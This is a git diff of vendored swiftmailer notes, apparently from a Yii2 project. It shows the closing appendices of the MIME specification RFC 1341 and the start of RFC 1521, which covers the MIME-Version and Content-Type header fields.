noted that one can do considerably better than + this in displaying richtext data on a dumb terminal. In + particular, one can replace font information such as "bold" + with textual emphasis (like *this* or _T_H_I_S_). One can + also properly handle the richtext formatting commands + regarding indentation, justification, and others. However, + the above program is all that is necessary in order to + present richtext on a dumb terminal. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page 65] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Appendix E -- Collected Grammar + + This appendix contains the complete BNF grammar for all the + syntax specified by this document. + + By itself, however, this grammar is incomplete. It refers + to several entities that are defined by RFC 822. Rather + than reproduce those definitions here, and risk + unintentional differences between the two, this document + simply refers the reader to RFC 822 for the remaining + definitions. Wherever a term is undefined, it refers to the + RFC 822 definition. + + attribute := token + + body-part = <"message" as defined in RFC 822, + with all header fields optional, and with the + specified delimiter not occurring anywhere in + the message body, either on a line by itself + or as a substring anywhere.> + + boundary := 0*69 bcharsnospace + + bchars := bcharsnospace / " " + + bcharsnospace := DIGIT / ALPHA / "'" / "(" / ")" / "+" / + "_" + / "," / "-" / "." / "/" / ":" / "=" / "?" + + close-delimiter := delimiter "--" + + Content-Description := *text + + Content-ID := msg-id + + Content-Transfer-Encoding := "BASE64" / "QUOTED- + PRINTABLE" / + "8BIT" / "7BIT" / + "BINARY" / x-token + + Content-Type := type "/" subtype *[";" parameter] + + delimiter := CRLF "--" boundary ; taken from Content-Type + field. + ; when content-type is + multipart + ; There should be no space + ; between "--" and boundary. + + encapsulation := delimiter CRLF body-part + + epilogue := *text ; to be ignored upon + receipt. + + + + + Borenstein & Freed [Page 66] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + MIME-Version := 1*text + + multipart-body := preamble 1*encapsulation close-delimiter + epilogue + + parameter := attribute "=" value + + preamble := *text ; to be ignored upon + receipt. + + subtype := token + + token := 1* + + tspecials := "(" / ")" / "<" / ">" / "@" ; Must be in + / "," / ";" / ":" / "\" / <"> ; quoted-string, + / "/" / "[" / "]" / "?" / "." ; to use within + / "=" ; parameter values + + + type := "application" / "audio" ; case- + insensitive + / "image" / "message" + / "multipart" / "text" + / "video" / x-token + + value := token / quoted-string + + x-token := + + + + + + + + + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page 67] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Appendix F -- IANA Registration Procedures + + MIME has been carefully designed to have extensible + mechanisms, and it is expected that the set of content- + type/subtype pairs and their associated parameters will grow + significantly with time. Several other MIME fields, notably + character set names, access-type parameters for the + message/external-body type, conversions parameters for the + application type, and possibly even Content-Transfer- + Encoding values, are likely to have new values defined over + time. In order to ensure that the set of such values is + developed in an orderly, well-specified, and public manner, + MIME defines a registration process which uses the Internet + Assigned Numbers Authority (IANA) as a central registry for + such values. + + In general, parameters in the content-type header field are + used to convey supplemental information for various content + types, and their use is defined when the content-type and + subtype are defined. New parameters should not be defined + as a way to introduce new functionality. + + In order to simplify and standardize the registration + process, this appendix gives templates for the registration + of new values with IANA. Each of these is given in the form + of an email message template, to be filled in by the + registering party. + + F.1 Registration of New Content-type/subtype Values + + Note that MIME is generally expected to be extended by + subtypes. If a new fundamental top-level type is needed, + its specification should be published as an RFC or + submitted in a form suitable to become an RFC, and be + subject to the Internet standards process. + + To: IANA@isi.edu + Subject: Registration of new MIME content-type/subtype + + MIME type name: + + (If the above is not an existing top-level MIME type, + please explain why an existing type cannot be used.) + + MIME subtype name: + + Required parameters: + + Optional parameters: + + Encoding considerations: + + Security considerations: + + + + + Borenstein & Freed [Page 68] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Published specification: + + (The published specification must be an Internet RFC or + RFC-to-be if a new top-level type is being defined, and + must be a publicly available specification in any + case.) + + Person & email address to contact for further + information: + F.2 Registration of New Character Set Values + + To: IANA@isi.edu + Subject: Registration of new MIME character set value + + MIME character set name: + + Published specification: + + (The published specification must be an Internet RFC or + RFC-to-be or an international standard.) + + Person & email address to contact for further + information: + + F.3 Registration of New Access-type Values for + Message/external-body + + To: IANA@isi.edu + Subject: Registration of new MIME Access-type for + Message/external-body content-type + + MIME access-type name: + + Required parameters: + + Optional parameters: + + Published specification: + + (The published specification must be an Internet RFC or + RFC-to-be.) + + Person & email address to contact for further + information: + + + F.4 Registration of New Conversions Values for Application + + To: IANA@isi.edu + Subject: Registration of new MIME Conversions value + for Application content-type + + MIME Conversions name: + + + + + Borenstein & Freed [Page 69] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Published specification: + + (The published specification must be an Internet RFC or + RFC-to-be.) + + Person & email address to contact for further + information: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page 70] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Appendix G -- Summary of the Seven Content-types + + Content-type: text + + Subtypes defined by this document: plain, richtext + + Important Parameters: charset + + Encoding notes: quoted-printable generally preferred if an + encoding is needed and the character set is mostly an + ASCII superset. + + Security considerations: Rich text formats such as TeX and + Troff often contain mechanisms for executing arbitrary + commands or file system operations, and should not be + used automatically unless these security problems have + been addressed. Even plain text may contain control + characters that can be used to exploit the capabilities + of "intelligent" terminals and cause security + violations. User interfaces designed to run on such + terminals should be aware of and try to prevent such + problems. + ________________________________________________________________ + + Content-type: multipart + + Subtypes defined by this document: mixed, alternative, + digest, parallel. + + Important Parameters: boundary + + Encoding notes: No content-transfer-encoding is permitted. + + ________________________________________________________________ + + Content-type: message + + Subtypes defined by this document: rfc822, partial, + external-body + + Important Parameters: id, number, total + + Encoding notes: No content-transfer-encoding is permitted. + + ________________________________________________________________ + + Content-type: application + + Subtypes defined by this document: octet-stream, + postscript, oda + + Important Parameters: profile + + + + + + Borenstein & Freed [Page 71] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Encoding notes: base64 generally preferred for octet-stream + or other unreadable subtypes. + + Security considerations: This type is intended for the + transmission of data to be interpreted by locally-installed + programs. If used, for example, to transmit executable + binary programs or programs in general-purpose interpreted + languages, such as LISP programs or shell scripts, severe + security problems could result. In general, authors of + mail-reading agents are cautioned against giving their + systems the power to execute mail-based application data + without carefully considering the security implications. + While it is certainly possible to define safe application + formats and even safe interpreters for unsafe formats, each + interpreter should be evaluated separately for possible + security problems. + ________________________________________________________________ + + Content-type: image + + Subtypes defined by this document: jpeg, gif + + Important Parameters: none + + Encoding notes: base64 generally preferred + + ________________________________________________________________ + + Content-type: audio + + Subtypes defined by this document: basic + + Important Parameters: none + + Encoding notes: base64 generally preferred + + ________________________________________________________________ + + Content-type: video + + Subtypes defined by this document: mpeg + + Important Parameters: none + + Encoding notes: base64 generally preferred + + + + + + + + + + + + + Borenstein & Freed [Page 72] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Appendix H -- Canonical Encoding Model + + + + There was some confusion, in earlier drafts of this memo, + regarding the model for when email data was to be converted + to canonical form and encoded, and in particular how this + process would affect the treatment of CRLFs, given that the + representation of newlines varies greatly from system to + system. For this reason, a canonical model for encoding is + presented below. + + The process of composing a MIME message part can be modelled + as being done in a number of steps. Note that these steps + are roughly similar to those steps used in RFC1113: + + Step 1. Creation of local form. + + The body part to be transmitted is created in the system's + native format. The native character set is used, and where + appropriate local end of line conventions are used as well. + The may be a UNIX-style text file, or a Sun raster image, or + a VMS indexed file, or audio data in a system-dependent + format stored only in memory, or anything else that + corresponds to the local model for the representation of + some form of information. + + Step 2. Conversion to canonical form. + + The entire body part, including "out-of-band" information + such as record lengths and possibly file attribute + information, is converted to a universal canonical form. + The specific content type of the body part as well as its + associated attributes dictate the nature of the canonical + form that is used. Conversion to the proper canonical form + may involve character set conversion, transformation of + audio data, compression, or various other operations + specific to the various content types. + + For example, in the case of text/plain data, the text must + be converted to a supported character set and lines must be + delimited with CRLF delimiters in accordance with RFC822. + Note that the restriction on line lengths implied by RFC822 + is eliminated if the next step employs either quoted- + printable or base64 encoding. + + Step 3. Apply transfer encoding. + + A Content-Transfer-Encoding appropriate for this body part + is applied. Note that there is no fixed relationship + between the content type and the transfer encoding. In + particular, it may be appropriate to base the choice of + base64 or quoted-printable on character frequency counts + which are specific to a given instance of body part. + + + + Borenstein & Freed [Page 73] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Step 4. Insertion into message. + + The encoded object is inserted into a MIME message with + appropriate body part headers and boundary markers. + + It is vital to note that these steps are only a model; they + are specifically NOT a blueprint for how an actual system + would be built. In particular, the model fails to account + for two common designs: + + 1. In many cases the conversion to a canonical + form prior to encoding will be subsumed into the + encoder itself, which understands local formats + directly. For example, the local newline + convention for text bodyparts might be carried + through to the encoder itself along with knowledge + of what that format is. + + 2. The output of the encoders may have to pass + through one or more additional steps prior to + being transmitted as a message. As such, the + output of the encoder may not be compliant with + the formats specified by RFC822. In particular, + once again it may be appropriate for the + converter's output to be expressed using local + newline conventions rather than using the standard + RFC822 CRLF delimiters. + + Other implementation variations are conceivable as well. + The only important aspect of this discussion is that the + resulting messages are consistent with those produced by the + model described here. + + + + + + + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page 74] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + References + + [US-ASCII] Coded Character Set--7-Bit American Standard Code + for Information Interchange, ANSI X3.4-1986. + + [ATK] Borenstein, Nathaniel S., Multimedia Applications + Development with the Andrew Toolkit, Prentice-Hall, 1990. + + [GIF] Graphics Interchange Format (Version 89a), Compuserve, + Inc., Columbus, Ohio, 1990. + + [ISO-2022] International Standard--Information Processing-- + ISO 7-bit and 8-bit coded character sets--Code extension + techniques, ISO 2022:1986. + + [ISO-8859] Information Processing -- 8-bit Single-Byte Coded + Graphic Character Sets -- Part 1: Latin Alphabet No. 1, ISO + 8859-1:1987. Part 2: Latin alphabet No. 2, ISO 8859-2, + 1987. Part 3: Latin alphabet No. 3, ISO 8859-3, 1988. Part + 4: Latin alphabet No. 4, ISO 8859-4, 1988. Part 5: + Latin/Cyrillic alphabet, ISO 8859-5, 1988. Part 6: + Latin/Arabic alphabet, ISO 8859-6, 1987. Part 7: + Latin/Greek alphabet, ISO 8859-7, 1987. Part 8: + Latin/Hebrew alphabet, ISO 8859-8, 1988. Part 9: Latin + alphabet No. 5, ISO 8859-9, 1990. + + [ISO-646] International Standard--Information Processing-- + ISO 7-bit coded character set for information interchange, + ISO 646:1983. + + [MPEG] Video Coding Draft Standard ISO 11172 CD, ISO + IEC/TJC1/SC2/WG11 (Motion Picture Experts Group), May, 1991. + + [ODA] ISO 8613; Information Processing: Text and Office + System; Office Document Architecture (ODA) and Interchange + Format (ODIF), Part 1-8, 1989. + + [PCM] CCITT, Fascicle III.4 - Recommendation G.711, Geneva, + 1972, "Pulse Code Modulation (PCM) of Voice Frequencies". + + [POSTSCRIPT] Adobe Systems, Inc., PostScript Language + Reference Manual, Addison-Wesley, 1985. + + [X400] Schicker, Pietro, "Message Handling Systems, X.400", + Message Handling Systems and Distributed Applications, E. + Stefferud, O-j. Jacobsen, and P. Schicker, eds., North- + Holland, 1989, pp. 3-41. + + [RFC-783] Sollins, K.R. TFTP Protocol (revision 2). June, + 1981, MIT, RFC-783. + + [RFC-821] Postel, J.B. Simple Mail Transfer Protocol. + August, 1982, USC/Information Sciences Institute, RFC-821. + + + + + Borenstein & Freed [Page 75] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + [RFC-822] Crocker, D. Standard for the format of ARPA + Internet text messages. August, 1982, UDEL, RFC-822. + + [RFC-934] Rose, M.T.; Stefferud, E.A. Proposed standard + for message encapsulation. January, 1985, Delaware + and NMA, RFC-934. + + [RFC-959] Postel, J.B.; Reynolds, J.K. File Transfer + Protocol. October, 1985, USC/Information Sciences + Institute, RFC-959. + + [RFC-1049] Sirbu, M.A. Content-Type header field for + Internet messages. March, 1988, CMU, RFC-1049. + + [RFC-1113] Linn, J. Privacy enhancement for Internet + electronic mail: Part I - message encipherment and + authentication procedures. August, 1989, IAB Privacy Task + Force, RFC-1113. + + [RFC-1154] Robinson, D.; Ullmann, R. Encoding header field + for Internet messages. April, 1990, Prime Computer, + Inc., RFC-1154. + + [RFC-1342] Moore, Keith, Representation of Non-Ascii Text in + Internet Message Headers. June, 1992, University of + Tennessee, RFC-1342. + + Security Considerations + + Security issues are discussed in Section 7.4.2 and in + Appendix G. Implementors should pay special attention to + the security implications of any mail content-types that can + cause the remote execution of any actions in the recipient's + environment. In such cases, the discussion of the + applicaton/postscript content-type in Section 7.4.2 may + serve as a model for considering other content-types with + remote execution capabilities. + + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page 76] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Authors' Addresses + + For more information, the authors of this document may be + contacted via Internet mail: + + Nathaniel S. Borenstein + MRE 2D-296, Bellcore + 445 South St. + Morristown, NJ 07962-1910 + + Phone: +1 201 829 4270 + Fax: +1 201 829 7019 + Email: nsb@bellcore.com + + + Ned Freed + Innosoft International, Inc. + 250 West First Street + Suite 240 + Claremont, CA 91711 + + Phone: +1 714 624 7907 + Fax: +1 714 621 5319 + Email: ned@innosoft.com + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page 77] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + + + + THIS PAGE INTENTIONALLY LEFT BLANK. + + Please discard this page and place the following table of + contents after the title page. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page i] + + + + + + + + + Table of Contents + + + 1 Introduction....................................... 1 + 2 Notations, Conventions, and Generic BNF Grammar.... 3 + 3 The MIME-Version Header Field...................... 5 + 4 The Content-Type Header Field...................... 6 + 5 The Content-Transfer-Encoding Header Field......... 10 + 5.1 Quoted-Printable Content-Transfer-Encoding......... 14 + 5.2 Base64 Content-Transfer-Encoding................... 17 + 6 Additional Optional Content- Header Fields......... 19 + 6.1 Optional Content-ID Header Field................... 19 + 6.2 Optional Content-Description Header Field.......... 19 + 7 The Predefined Content-Type Values................. 20 + 7.1 The Text Content-Type.............................. 20 + 7.1.1 The charset parameter.............................. 20 + 7.1.2 The Text/plain subtype............................. 23 + 7.1.3 The Text/richtext subtype.......................... 23 + 7.2 The Multipart Content-Type......................... 29 + 7.2.1 Multipart: The common syntax...................... 30 + 7.2.2 The Multipart/mixed (primary) subtype.............. 34 + 7.2.3 The Multipart/alternative subtype.................. 34 + 7.2.4 The Multipart/digest subtype....................... 36 + 7.2.5 The Multipart/parallel subtype..................... 36 + 7.3 The Message Content-Type........................... 37 + 7.3.1 The Message/rfc822 (primary) subtype............... 37 + 7.3.2 The Message/Partial subtype........................ 37 + 7.3.3 The Message/External-Body subtype.................. 40 + 7.4 The Application Content-Type....................... 46 + 7.4.1 The Application/Octet-Stream (primary) subtype..... 46 + 7.4.2 The Application/PostScript subtype................. 47 + 7.4.3 The Application/ODA subtype........................ 50 + 7.5 The Image Content-Type............................. 51 + 7.6 The Audio Content-Type............................. 51 + 7.7 The Video Content-Type............................. 51 + 7.8 Experimental Content-Type Values................... 51 + Summary............................................ 53 + Acknowledgements................................... 54 + Appendix A -- Minimal MIME-Conformance............. 56 + Appendix B -- General Guidelines For Sending Email Data59 + Appendix C -- A Complex Multipart Example.......... 62 + Appendix D -- A Simple Richtext-to-Text Translator in C64 + Appendix E -- Collected Grammar.................... 66 + Appendix F -- IANA Registration Procedures......... 68 + F.1 Registration of New Content-type/subtype Values..68 + F.2 Registration of New Character Set Values...... 69 + F.3 Registration of New Access-type Values for Message/external-body69 + F.4 Registration of New Conversions Values for Application69 + Appendix G -- Summary of the Seven Content-types... 71 + Appendix H -- Canonical Encoding Model............. 73 + References......................................... 75 + Security Considerations............................ 76 + Authors' Addresses................................. 77 + + + + Borenstein & Freed [Page ii] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page iii] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc1521.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc1521.txt new file mode 100644 index 00000000..074ba415 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc1521.txt @@ -0,0 +1,4539 @@ + + + + + + +Network Working Group N. Borenstein +Request for Comments: 1521 Bellcore +Obsoletes: 1341 N. Freed +Category: Standards Track Innosoft + September 1993 + + + MIME (Multipurpose Internet Mail Extensions) Part One: + Mechanisms for Specifying and Describing + the Format of Internet Message Bodies + +Status of this Memo + + This RFC specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" for the standardization state and status + of this protocol. Distribution of this memo is unlimited. + +Abstract + + STD 11, RFC 822 defines a message representation protocol which + specifies considerable detail about message headers, but which leaves + the message content, or message body, as flat ASCII text. This + document redefines the format of message bodies to allow multi-part + textual and non-textual message bodies to be represented and + exchanged without loss of information. This is based on earlier work + documented in RFC 934 and STD 11, RFC 1049, but extends and revises + that work. Because RFC 822 said so little about message bodies, this + document is largely orthogonal to (rather than a revision of) RFC + 822. + + In particular, this document is designed to provide facilities to + include multiple objects in a single message, to represent body text + in character sets other than US-ASCII, to represent formatted multi- + font text messages, to represent non-textual material such as images + and audio fragments, and generally to facilitate later extensions + defining new types of Internet mail for use by cooperating mail + agents. + + This document does NOT extend Internet mail header fields to permit + anything other than US-ASCII text data. Such extensions are the + subject of a companion document [RFC-1522]. + + This document is a revision of RFC 1341. Significant differences + from RFC 1341 are summarized in Appendix H. + + + + + +Borenstein & Freed [Page 1] + +RFC 1521 MIME September 1993 + + +Table of Contents + + 1. Introduction....................................... 3 + 2. Notations, Conventions, and Generic BNF Grammar.... 6 + 3. The MIME-Version Header Field...................... 7 + 4. The Content-Type Header Field...................... 9 + 5. The Content-Transfer-Encoding Header Field......... 13 + 5.1. Quoted-Printable Content-Transfer-Encoding......... 18 + 5.2. Base64 Content-Transfer-Encoding................... 21 + 6. Additional Content-Header Fields................... 23 + 6.1. Optional Content-ID Header Field................... 23 + 6.2. Optional Content-Description Header Field.......... 24 + 7. The Predefined Content-Type Values................. 24 + 7.1. The Text Content-Type.............................. 24 + 7.1.1. The charset parameter.............................. 25 + 7.1.2. The Text/plain subtype............................. 28 + 7.2. The Multipart Content-Type......................... 28 + 7.2.1. Multipart: The common syntax...................... 29 + 7.2.2. The Multipart/mixed (primary) subtype.............. 34 + 7.2.3. The Multipart/alternative subtype.................. 34 + 7.2.4. The Multipart/digest subtype....................... 36 + 7.2.5. The Multipart/parallel subtype..................... 37 + 7.2.6. Other Multipart subtypes........................... 37 + 7.3. The Message Content-Type........................... 38 + 7.3.1. The Message/rfc822 (primary) subtype............... 38 + 7.3.2. The Message/Partial subtype........................ 39 + 7.3.3. The Message/External-Body subtype.................. 42 + 7.3.3.1. The "ftp" and "tftp" access-types............... 44 + 7.3.3.2. The "anon-ftp" access-type...................... 45 + 7.3.3.3. The "local-file" and "afs" access-types......... 45 + 7.3.3.4. The "mail-server" access-type................... 45 + 7.3.3.5. Examples and Further Explanations............... 46 + 7.4. The Application Content-Type....................... 49 + 7.4.1. The Application/Octet-Stream (primary) subtype..... 50 + 7.4.2. The Application/PostScript subtype................. 50 + 7.4.3. Other Application subtypes......................... 53 + 7.5. The Image Content-Type............................. 53 + 7.6. The Audio Content-Type............................. 54 + 7.7. The Video Content-Type............................. 54 + 7.8. Experimental Content-Type Values................... 54 + 8. Summary............................................ 56 + 9. Security Considerations............................ 56 + 10. Authors' Addresses................................. 57 + 11. Acknowledgements................................... 58 + Appendix A -- Minimal MIME-Conformance.................... 60 + Appendix B -- General Guidelines For Sending Email Data... 63 + Appendix C -- A Complex Multipart Example................. 66 + Appendix D -- Collected Grammar........................... 68 + + + +Borenstein & Freed [Page 2] + +RFC 1521 MIME September 1993 + + + Appendix E -- IANA Registration Procedures................ 72 + E.1 Registration of New Content-type/subtype Values...... 72 + E.2 Registration of New Access-type Values + for Message/external-body............................ 73 + Appendix F -- Summary of the Seven Content-types.......... 74 + Appendix G -- Canonical Encoding Model.................... 76 + Appendix H -- Changes from RFC 1341....................... 78 + References................................................ 80 + +1. Introduction + + Since its publication in 1982, STD 11, RFC 822 [RFC-822] has defined + the standard format of textual mail messages on the Internet. Its + success has been such that the RFC 822 format has been adopted, + wholly or partially, well beyond the confines of the Internet and the + Internet SMTP transport defined by STD 10, RFC 821 [RFC-821]. As the + format has seen wider use, a number of limitations have proven + increasingly restrictive for the user community. + + RFC 822 was intended to specify a format for text messages. As such, + non-text messages, such as multimedia messages that might include + audio or images, are simply not mentioned. Even in the case of text, + however, RFC 822 is inadequate for the needs of mail users whose + languages require the use of character sets richer than US ASCII + [US-ASCII]. Since RFC 822 does not specify mechanisms for mail + containing audio, video, Asian language text, or even text in most + European languages, additional specifications are needed. + + One of the notable limitations of RFC 821/822 based mail systems is + the fact that they limit the contents of electronic mail messages to + relatively short lines of seven-bit ASCII. This forces users to + convert any non-textual data that they may wish to send into seven- + bit bytes representable as printable ASCII characters before invoking + a local mail UA (User Agent, a program with which human users send + and receive mail). Examples of such encodings currently used in the + Internet include pure hexadecimal, uuencode, the 3-in-4 base 64 + scheme specified in RFC 1421, the Andrew Toolkit Representation + [ATK], and many others. + + The limitations of RFC 822 mail become even more apparent as gateways + are designed to allow for the exchange of mail messages between RFC + 822 hosts and X.400 hosts. X.400 [X400] specifies mechanisms for the + inclusion of non-textual body parts within electronic mail messages. + The current standards for the mapping of X.400 messages to RFC 822 + messages specify either that X.400 non-textual body parts must be + converted to (not encoded in) an ASCII format, or that they must be + discarded, notifying the RFC 822 user that discarding has occurred. + This is clearly undesirable, as information that a user may wish to + + + +Borenstein & Freed [Page 3] + +RFC 1521 MIME September 1993 + + + receive is lost. Even though a user's UA may not have the capability + of dealing with the non-textual body part, the user might have some + mechanism external to the UA that can extract useful information from + the body part. Moreover, it does not allow for the fact that the + message may eventually be gatewayed back into an X.400 message + handling system (i.e., the X.400 message is "tunneled" through + Internet mail), where the non-textual information would definitely + become useful again. + + This document describes several mechanisms that combine to solve most + of these problems without introducing any serious incompatibilities + with the existing world of RFC 822 mail. In particular, it + describes: + + 1. A MIME-Version header field, which uses a version number to + declare a message to be conformant with this specification and + allows mail processing agents to distinguish between such + messages and those generated by older or non-conformant software, + which is presumed to lack such a field. + + 2. A Content-Type header field, generalized from RFC 1049 [RFC-1049], + which can be used to specify the type and subtype of data in the + body of a message and to fully specify the native representation + (encoding) of such data. + + 2.a. A "text" Content-Type value, which can be used to represent + textual information in a number of character sets and + formatted text description languages in a standardized + manner. + + 2.b. A "multipart" Content-Type value, which can be used to + combine several body parts, possibly of differing types of + data, into a single message. + + 2.c. An "application" Content-Type value, which can be used to + transmit application data or binary data, and hence, among + other uses, to implement an electronic mail file transfer + service. + + 2.d. A "message" Content-Type value, for encapsulating another + mail message. + + 2.e An "image" Content-Type value, for transmitting still image + (picture) data. + + 2.f. An "audio" Content-Type value, for transmitting audio or + voice data. + + + + +Borenstein & Freed [Page 4] + +RFC 1521 MIME September 1993 + + + 2.g. A "video" Content-Type value, for transmitting video or + moving image data, possibly with audio as part of the + composite video data format. + + 3. A Content-Transfer-Encoding header field, which can be used to + specify an auxiliary encoding that was applied to the data in + order to allow it to pass through mail transport mechanisms which + may have data or character set limitations. + + 4. Two additional header fields that can be used to further describe + the data in a message body, the Content-ID and Content- + Description header fields. + + MIME has been carefully designed as an extensible mechanism, and it + is expected that the set of content-type/subtype pairs and their + associated parameters will grow significantly with time. Several + other MIME fields, notably including character set names, are likely + to have new values defined over time. In order to ensure that the + set of such values is developed in an orderly, well-specified, and + public manner, MIME defines a registration process which uses the + Internet Assigned Numbers Authority (IANA) as a central registry for + such values. Appendix E provides details about how IANA registration + is accomplished. + + Finally, to specify and promote interoperability, Appendix A of this + document provides a basic applicability statement for a subset of the + above mechanisms that defines a minimal level of "conformance" with + this document. + + HISTORICAL NOTE: Several of the mechanisms described in this + document may seem somewhat strange or even baroque at first + reading. It is important to note that compatibility with existing + standards AND robustness across existing practice were two of the + highest priorities of the working group that developed this + document. In particular, compatibility was always favored over + elegance. + + MIME was first defined and published as RFCs 1341 and 1342 [RFC-1341] + [RFC-1342]. This document is a relatively minor updating of RFC + 1341, and is intended to supersede it. The differences between this + document and RFC 1341 are summarized in Appendix H. Please refer to + the current edition of the "IAB Official Protocol Standards" for the + standardization state and status of this protocol. Several other RFC + documents will be of interest to the MIME implementor, in particular + [RFC 1343], [RFC-1344], and [RFC-1345]. + + + + + + +Borenstein & Freed [Page 5] + +RFC 1521 MIME September 1993 + + +2. Notations, Conventions, and Generic BNF Grammar + + This document is being published in two versions, one as plain ASCII + text and one as PostScript (PostScript is a trademark of Adobe + Systems Incorporated.). While the text version is the official + specification, some will find the PostScript version easier to read. + The textual contents are identical. An Andrew-format copy of this + document is also available from the first author (Borenstein). + + Although the mechanisms specified in this document are all described + in prose, most are also described formally in the modified BNF + notation of RFC 822. Implementors will need to be familiar with this + notation in order to understand this specification, and are referred + to RFC 822 for a complete explanation of the modified BNF notation. + + Some of the modified BNF in this document makes reference to + syntactic entities that are defined in RFC 822 and not in this + document. A complete formal grammar, then, is obtained by combining + the collected grammar appendix of this document with that of RFC 822 + plus the modifications to RFC 822 defined in RFC 1123, which + specifically changes the syntax for `return', `date' and `mailbox'. + + The term CRLF, in this document, refers to the sequence of the two + ASCII characters CR (13) and LF (10) which, taken together, in this + order, denote a line break in RFC 822 mail. + + The term "character set" is used in this document to refer to a + method used with one or more tables to convert encoded text to a + series of octets. This definition is intended to allow various kinds + of text encodings, from simple single-table mappings such as ASCII to + complex table switching methods such as those that use ISO 2022's + techniques. However, a MIME character set name must fully specify + the mapping to be performed. + + The term "message", when not further qualified, means either the + (complete or "top-level") message being transferred on a network, or + a message encapsulated in a body of type "message". + + The term "body part", in this document, means one of the parts of the + body of a multipart entity. A body part has a header and a body, so + it makes sense to speak about the body of a body part. + + The term "entity", in this document, means either a message or a body + part. All kinds of entities share the property that they have a + header and a body. + + The term "body", when not further qualified, means the body of an + entity, that is the body of either a message or of a body part. + + + +Borenstein & Freed [Page 6] + +RFC 1521 MIME September 1993 + + + NOTE: The previous four definitions are clearly circular. This is + unavoidable, since the overall structure of a MIME message is + indeed recursive. + + In this document, all numeric and octet values are given in decimal + notation. + + It must be noted that Content-Type values, subtypes, and parameter + names as defined in this document are case-insensitive. However, + parameter values are case-sensitive unless otherwise specified for + the specific parameter. + + FORMATTING NOTE: This document has been carefully formatted for + ease of reading. The PostScript version of this document, in + particular, places notes like this one, which may be skipped by + the reader, in a smaller, italicized, font, and indents it as + well. In the text version, only the indentation is preserved, so + if you are reading the text version of this you might consider + using the PostScript version instead. However, all such notes will + be indented and preceded by "NOTE:" or some similar introduction, + even in the text version. + + The primary purpose of these non-essential notes is to convey + information about the rationale of this document, or to place this + document in the proper historical or evolutionary context. Such + information may be skipped by those who are focused entirely on + building a conformant implementation, but may be of use to those + who wish to understand why this document is written as it is. + + For ease of recognition, all BNF definitions have been placed in a + fixed-width font in the PostScript version of this document. + +3. The MIME-Version Header Field + + Since RFC 822 was published in 1982, there has really been only one + format standard for Internet messages, and there has been little + perceived need to declare the format standard in use. This document + is an independent document that complements RFC 822. Although the + extensions in this document have been defined in such a way as to be + compatible with RFC 822, there are still circumstances in which it + might be desirable for a mail-processing agent to know whether a + message was composed with the new standard in mind. + + Therefore, this document defines a new header field, "MIME-Version", + which is to be used to declare the version of the Internet message + body format standard in use. + + Messages composed in accordance with this document MUST include such + + + +Borenstein & Freed [Page 7] + +RFC 1521 MIME September 1993 + + + a header field, with the following verbatim text: + + MIME-Version: 1.0 + + The presence of this header field is an assertion that the message + has been composed in compliance with this document. + + Since it is possible that a future document might extend the message + format standard again, a formal BNF is given for the content of the + MIME-Version field: + + version := "MIME-Version" ":" 1*DIGIT "." 1*DIGIT + + Thus, future format specifiers, which might replace or extend "1.0", + are constrained to be two integer fields, separated by a period. If + a message is received with a MIME-version value other than "1.0", it + cannot be assumed to conform with this specification. + + Note that the MIME-Version header field is required at the top level + of a message. It is not required for each body part of a multipart + entity. It is required for the embedded headers of a body of type + "message" if and only if the embedded message is itself claimed to be + MIME-conformant. + + It is not possible to fully specify how a mail reader that conforms + with MIME as defined in this document should treat a message that + might arrive in the future with some value of MIME-Version other than + "1.0". However, conformant software is encouraged to check the + version number and at least warn the user if an unrecognized MIME- + version is encountered. + + It is also worth noting that version control for specific content- + types is not accomplished using the MIME-Version mechanism. In + particular, some formats (such as application/postscript) have + version numbering conventions that are internal to the document + format. Where such conventions exist, MIME does nothing to supersede + them. Where no such conventions exist, a MIME type might use a + "version" parameter in the content-type field if necessary. + + NOTE TO IMPLEMENTORS: All header fields defined in this document, + including MIME-Version, Content-type, etc., are subject to the + general syntactic rules for header fields specified in RFC 822. In + particular, all can include comments, which means that the following + two MIME-Version fields are equivalent: + + MIME-Version: 1.0 + MIME-Version: 1.0 (Generated by GBD-killer 3.7) + + + + +Borenstein & Freed [Page 8] + +RFC 1521 MIME September 1993 + + +4. The Content-Type Header Field + + The purpose of the Content-Type field is to describe the data + contained in the body fully enough that the receiving user agent can + pick an appropriate agent or mechanism to present the data to the + user, or otherwise deal with the data in an appropriate manner. + + HISTORICAL NOTE: The Content-Type header field was first defined in + RFC 1049. RFC 1049 Content-types used a simpler and less powerful + syntax, but one that is largely compatible with 